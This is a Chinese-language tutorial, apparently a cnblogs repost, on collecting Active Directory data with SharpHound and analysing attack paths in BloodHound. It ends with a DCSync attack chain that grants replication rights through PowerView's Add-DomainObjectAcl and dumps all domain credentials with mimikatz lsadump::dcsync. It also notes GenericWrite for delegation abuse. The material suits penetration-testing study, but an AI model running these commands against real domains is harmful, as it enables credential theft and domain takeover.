其他分享
首页 > 其他分享> > BloodHound分析域结构

BloodHound分析域结构

作者:互联网

BloodHound分析域结构

导出域结构

SharpHound.exe -c all #可指定all到处所有信息
SharpHound.exe -c session # 枚举会话
SharpHound.exe -c all --OutputDirectory C:\ #导入出到指定目录
SharpHound.exe -d test.org # 导出指定域
.\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -JSONFolder "c:\" 

可以用 -c 参数指定要收集的数据类型,如 -c Session,RDP,ACL

导出后生成时间戳命名的压缩包文件

界面

选择Filter处过滤类型

搜索功能

搜索 可以将搜索范围指定为特定节点类型,如

比如试试it机器

pathfinding路径搜索

设置目前所在节点和目标节点,BloodHound会自动规划好一条到达目标的最短路线

节点

鼠标右键任一节点时,会弹出以下内容

蓝色位置图标意味着这是开始节点 ;
白色骷髅头说明是已拥有节点;
红色靶子图标是目标节点;
钻石图标则是高价值目标;

并且可以右击连接的线条来进行帮助查看

内置查询语句

CL Edges

特殊 Edges

看到上图,表面该组策略能具有DCSyn权限

再看到上图中该组策略下用户具有WriteDacl权限可以修改ACL来对这个域dcsync攻击了

#添加ACE的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

lsadump::dcsync /domain:test.com /all /csv

#删除ACE的命令:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

找到有一个GenricWrite。代表该用户对这个机器有写入的权限。也就是可以造成资源委派

节点属性

组成员

本地管理员权限

参考

https://www.freebuf.com/articles/web/288370.html

标签:分析,Domain,BloodHound,Users,用户,管理员,权限,Find,结构
来源: https://www.cnblogs.com/nice0e3/p/15934243.html